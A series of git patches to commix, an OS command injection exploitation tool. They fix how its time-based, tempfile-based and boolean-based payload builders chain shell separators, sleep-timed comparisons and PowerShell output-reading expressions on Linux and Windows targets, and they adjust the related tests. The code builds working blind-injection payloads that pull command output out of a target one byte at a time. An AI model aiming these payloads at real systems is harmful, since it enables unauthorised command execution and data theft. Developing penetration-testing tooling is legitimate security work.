settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&": - payload = (separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + "||" + @@ -488,21 +442,7 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX) - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&": - payload = (separator + - "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + "||" + diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index c4e7364ad0..b4d5c1f8cb 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -73,8 +73,10 @@ def _length_arg_expr(word): """ def _ordinal_expr(word, num_of_chars): # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. - return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + - " | head -c 1 | od -A n -t u1" + settings.CMD_SUB_SUFFIX) + # Held in '$( )' whichever substitution is in use, as the count beside it is: the word inside is + # itself a substitution, and a backtick cannot hold another without escaping it. + return ("$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + + " | head -c 1 | od -A n -t u1)") """ The interpreter reads the output as an argument of its own rather than off a pipe. It is still data @@ -235,7 +237,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(output_length) + " -ne " + _length_expr(TAG) + " ]" + "||" + @@ -269,25 +271,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, output_length, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len('" + TAG + "'))\"" + settings.CMD_SUB_SUFFIX) - elif separator == "&": - payload = (separator + - # Find the length of the output, using readline(). - "[ " + str(output_length) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + settings.SINGLE_WHITESPACE + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + - # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + # Find the length of the output, using readline(). @@ -411,7 +395,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "sleep " + str(timesec) ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(output_length) + " -ne " + _length_expr(word) + " ]" + "||" + @@ -444,25 +428,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http ) elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, output_length, _py_length_expr(cmd)) - elif separator == "&": - payload = (separator + - # Find the length of the output, using readline(). - "[ " + str(output_length) + " -eq " + _py_length_expr(cmd) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - # Find the length of the output, using readline(). - settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + - "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " - ) - - - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + # Find the length of the output, using readline(). @@ -520,7 +486,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): "sleep " + str(timesec) ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(candidate_length) + " -gt " + _length_expr(word) + " ]" + "||" + @@ -552,20 +518,7 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http ) elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, candidate_length, _py_length_expr(cmd), "<=") - elif separator == "&": - payload = (separator + - "[ " + str(candidate_length) + " -le " + _py_length_expr(cmd) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + - "[ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " - ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(candidate_length) + " -gt " + _py_length_expr(cmd) + " ] " + "||" + @@ -646,7 +599,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "sleep " + str(timesec) ) - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "||" + @@ -684,23 +637,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, ascii_char, _py_ordinal_expr(cmd, num_of_chars), arith_operator) - elif separator == "&": - payload = (separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ] " + "||" + @@ -736,23 +673,7 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese elif separator in ("&", "&&") and checks.substitution_nests(): payload = separator + _py_timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX) - elif separator == "&": - payload = (separator + - "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - elif separator == "&&" : - ampersand = "&" - payload = (ampersand + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX - ) - - - elif separator in ("|", "||"): + elif separator in ("|", "||") and checks.substitution_nests(): pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\") ] " + "||" + diff --git a/src/utils/settings.py b/src/utils/settings.py index 6da5167722..c9180bf62d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "261" +REVISION = "262" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ac0a2608adbba2fd996a31887e8c80e163f42f53 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 09:21:30 +0200 Subject: [PATCH 0934/1023] Fixed payload generation for certain separator which could produce a payload the shell cannot run (2) --- .../techniques/tempfile_based/tfb_payloads.py | 26 +++---------------- src/core/techniques/time_based/tb_payloads.py | 4 ++- src/utils/settings.py | 2 +- tests/test_tamper.py | 22 +++++++++------- 4 files changed, 19 insertions(+), 35 deletions(-) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 8e1296926b..8e60d7f092 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -97,7 +97,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" ) - elif separator in ("&", "&&") and checks.substitution_nests(): + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): # The write leaves no output of its own, so the read right after it reads as one word - # which sequences the two without an operator between them. payload = separator + tb_payloads._timed_comparison(timesec, j, @@ -124,12 +124,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) - elif separator in ("|", "||") and checks.substitution_nests(): - pipe = "|" - payload = (pipe + - "[ " + str(j) + " -ne $(printf '%s' \"" + TAG + "\"" + pipe + "tee " + OUTPUT_TEXTFILE + pipe + "wc -c) ]" + "||" + - "sleep " + str(timesec) - ) else: pass @@ -218,7 +212,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t u1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) - elif separator in ("&", "&&") and checks.substitution_nests(): + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): arith_operator = "<=" if operator == "-le" else "==" # Every step is a substitution inside the one command, and they are expanded left to right: # the command runs, the file is flattened back over itself, the length is read off it, and @@ -264,14 +258,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - elif separator in ("|", "||") and checks.substitution_nests(): - pipe = "|" - cmd = cmd.rstrip() - cmd = checks.add_command_substitution(cmd) - payload = (pipe + - "[ " + str(j) + settings.SINGLE_WHITESPACE + inverted_operator + " $(" + cmd + pipe + "tee " + OUTPUT_TEXTFILE + pipe + "wc -c) ]" + "||" + - "sleep " + str(timesec) - ) else: pass @@ -356,7 +342,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" ) - elif separator in ("&", "&&") and checks.substitution_nests(): + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): payload = separator + tb_payloads._timed_comparison(timesec, ascii_char, settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX, arith_operator) elif separator == "&&" : @@ -374,12 +360,6 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " $(awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + ") ]" + "&&" + "sleep " + str(timesec) ) - elif separator in ("|", "||") and checks.substitution_nests(): - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + " " + checks.byte_ordinal("$(cut -b" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")") + " ]" + "||" + - "sleep " + str(timesec) - ) else: pass diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index b4d5c1f8cb..2df4b696b6 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -321,7 +321,9 @@ def condition_check(separator, condition, timesec, http_request_method): "[ " + condition + " ]" + "&&" + "sleep " + str(timesec) ) - elif separator in ("&", "&&", ""): + # Not the empty separator: with nothing to chain on, what this builds hands the test to 'sleep' + # as arguments, which errors and never delays - an answer the caller cannot tell from "false". + elif separator in ("&", "&&"): payload = ("&" + "sleep 0" + separator + "[ " + condition + " ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index c9180bf62d..6428612f12 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "262" +REVISION = "263" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_tamper.py b/tests/test_tamper.py index 12dfa14d02..ff357ef816 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -299,17 +299,19 @@ def _script(self): return printf2echo def test_it_rewrites_the_reading_it_is_named_for(self): - rewritten = 0 + """ + Put to the script directly: no builder writes this reading under a pipe any more, where every technique reads a byte with 'od' already. + """ + from src.core.controller import checks for separator in ("|", "||"): - for name, payload in self._payloads(separator): - if "printf '%d'" not in payload: - continue - tampered = self._script().tamper(payload) - self.assertNotEqual(payload, tampered, name + " under " + repr(separator)) - self.assertNotIn("printf '%d'", tampered) - self.assertIn("od -An -tuC", tampered) - rewritten += 1 - self.assertGreater(rewritten, 0, "nothing left for this script to rewrite - it is inert") + stage(separator) + settings.EXPLOITATION_PHASE = True + payload = separator + "[ 126 -gt " + checks.byte_ordinal("${" + settings.RANDOM_VAR_GENERATOR + "}") + " ]" + self.assertIn("printf '%d'", payload) + tampered = self._script().tamper(payload) + self.assertNotEqual(payload, tampered, "under " + repr(separator)) + self.assertNotIn("printf '%d'", tampered) + self.assertIn("od -An -tuC", tampered) def test_it_is_not_written_where_a_pipe_is_not_what_is_proving(self): for separator in (";", "&", "&&", settings.END_LINE.LF): From d725249a6763a0037ff9d7ccabd6d5234a25cc86 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 09:24:18 +0200 Subject: [PATCH 0935/1023] Fixed Windows payload generation that could produce shell-incompatible payloads. --- src/core/controller/checks.py | 27 +++++++++++++++++++ src/core/controller/execution.py | 3 ++- .../techniques/boolean_based/bb_payloads.py | 11 +++++--- .../techniques/tempfile_based/tfb_payloads.py | 10 +++---- src/core/techniques/time_based/tb_payloads.py | 6 ++--- src/utils/settings.py | 2 +- tests/test_payloads.py | 11 ++++---- 7 files changed, 51 insertions(+), 19 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 9f27c634dd..164cf28c92 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3590,6 +3590,33 @@ def using_backticks(): """ return not substitution_nests() +def windows_output_text(cmd): + """ + A command's output as one line, with the whitespace the shell ends it on taken off. + + Trimmed at the end alone: '.trim()' takes the leading whitespace with it, which is the output's + own and is kept everywhere else - a POSIX payload removes a single trailing space and no more. + + >>> windows_output_text("ver").endswith(".TrimEnd()") + True + >>> ".trim()" in windows_output_text("ver") + False + """ + return "([string](cmd /c " + cmd + ")).TrimEnd()" + +def windows_output_bytes(text): + """ + The bytes a PowerShell string is written in, which is what every ordinal a search asks about is. + + '[char]' answers the code point instead, and the pool a byte is searched in stops at 255 - so a + character past Latin-1 reads as one no byte can be, and the position is thrown away as if the + target had answered late to everything. + + >>> windows_output_bytes("$x").startswith("([Text.Encoding]::UTF8.GetBytes(") + True + """ + return "([Text.Encoding]::UTF8.GetBytes(" + text + "))" + def byte_ordinal(byte_expression): """ The ordinal of a single byte, as a number the search can rely on being between 0 and 255. diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py index da10e1225d..7fcabb950e 100644 --- a/src/core/controller/execution.py +++ b/src/core/controller/execution.py @@ -62,7 +62,8 @@ def windows_transform_cmd(cmd, technique, interpreter): elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: # 'write', not 'write-host': the value is read back off the payload's own standard output, and # only the newer PowerShell writes what the latter prints there at all. - cmd = "powershell.exe -InputFormat none write ([string](cmd /c " + cmd + ")).trim().length" + cmd = ("powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + ".length") # The tempfile-based payloads wrap the command themselves, in the one PowerShell they already # start - wrapping it here as well would cost a second process per probe, and the timing # measurement pays for every one of them. diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index 2e20f749f9..d8fe65d5f4 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -142,7 +142,8 @@ def decision(separator, TAG, output_length, holds=True): # The target has to print the tag and measure it, so a page that repeats what it was given # cannot answer for one that ran the command. return checks.windows_boolean_probe(chain, - "powershell.exe -InputFormat none write ([string](cmd /c echo " + TAG + ")).trim().length", + "powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text("echo " + TAG)) + ".length", "EQU", expected) word = tb_payloads._output_word("echo " + TAG) var = settings.RANDOM_VAR_GENERATOR @@ -173,7 +174,8 @@ def get_length(separator, cmd, candidate_length, operator="-eq"): if settings.TARGET_OS == settings.OS.WINDOWS: chain = checks.windows_separator(separator) return checks.windows_boolean_probe(chain, - "powershell.exe -InputFormat none write ([string](cmd /c " + cmd + ")).trim().length", + "powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + ".length", {"-eq": "EQU", "-ge": "GEQ", "-le": "LEQ"}.get(operator, "EQU"), candidate_length) if separator == settings.PIPE_SEPARATOR: measured = _piped_length(word) @@ -202,8 +204,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): # The ordinal is worked out on the target: cmd.exe compares strings by locale collation, so only # a number can be binary searched. return checks.windows_boolean_probe(chain, - "powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim().substring(" + - str(num_of_chars - 1) + ",1)))", + "powershell.exe -InputFormat none write ([int](" + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + + "[" + str(num_of_chars - 1) + "]))", "GEQ" if operator == "-le" else "EQU", ascii_char) if separator == settings.PIPE_SEPARATOR: piped = _piped_ordinal(word, num_of_chars) diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 8e60d7f092..8834810131 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -28,14 +28,14 @@ it, so a length and the characters counted off it always agree. """ def windows_file_text(OUTPUT_TEXTFILE): - return "([string](Get-Content " + OUTPUT_TEXTFILE + ")).trim()" + return "([string](Get-Content " + OUTPUT_TEXTFILE + ")).TrimEnd()" """ A command's output as one line of text. Multi-line output is joined, so a single number describes its length however many lines it came in. """ def windows_cmd_text(cmd): - return "([string](cmd /c " + cmd + ")).trim()" + return checks.windows_output_text(cmd) def flattened_file_text(OUTPUT_TEXTFILE): """ @@ -84,7 +84,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): payload = (chain + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + checks.windows_probe(checks.WINDOWS_CHAIN, - "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + ".length", + "powershell.exe -InputFormat none write-host " + checks.windows_output_bytes(windows_file_text(OUTPUT_TEXTFILE)) + ".length", "EQU", j, timesec) ) @@ -186,8 +186,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth win_operator = "GEQ" if operator == "-le" else "EQU" # Stored as one decimal per character: extraction reads a character off it by number, and # their count is the length being searched for. - ascii_output = ("powershell.exe -InputFormat none write-host ([int[]][char[]](" + - windows_cmd_text(cmd) + "))") + ascii_output = ("powershell.exe -InputFormat none write-host ([int[]](" + + checks.windows_output_bytes(windows_cmd_text(cmd)) + "))") payload = (chain + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + ascii_output + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 2df4b696b6..e6fe4068a9 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -547,9 +547,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # The ordinal has to be computed on the target: cmd.exe's IF compares strings by locale # collation ('M' GEQ 'a' holds), so only a numeric compare can be binary searched. payload = checks.windows_probe(chain, - "powershell.exe -InputFormat none write " - "([int][char](([string](cmd /c " + cmd + ")).trim().substring(" + - str(num_of_chars - 1) + ",1)))", + "powershell.exe -InputFormat none write ([int](" + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + + "[" + str(num_of_chars - 1) + "]))", win_operator, ascii_char, timesec) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6428612f12..5e23c86d25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "263" +REVISION = "264" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_payloads.py b/tests/test_payloads.py index af9a9de4a6..aca9356f48 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -892,8 +892,7 @@ def test_no_posix_construct_reaches_cmd_exe(self): def test_the_character_is_compared_as_a_number(self): """ - 'cmd.exe' compares strings by locale collation, so only a number can be bisected on - which is - what the PowerShell cast is for. + 'cmd.exe' compares strings by locale collation, so only a number can be bisected on - and the number is a byte, which is what the pool it is searched in holds. """ from src.core.techniques.boolean_based import bb_payloads was = settings.TARGET_OS @@ -901,15 +900,17 @@ def test_the_character_is_compared_as_a_number(self): self._windows("&") settings.TIME_RELATED_ATTACK = False payload = bb_payloads.get_char("&", "ver", 2, 126) - self.assertIn("[int][char]", payload) + self.assertIn("[int](", payload) + self.assertIn("UTF8.GetBytes", payload) + # A '[char]' answers the code point, which past Latin-1 is a number no byte can be. + self.assertNotIn("[char]", payload) self.assertTrue("GEQ" in payload or "EQU" in payload, "no numeric comparison") finally: settings.TARGET_OS = was def test_a_byte_read_back_is_still_unsigned_there(self): """ - The reading a Windows target answers with is 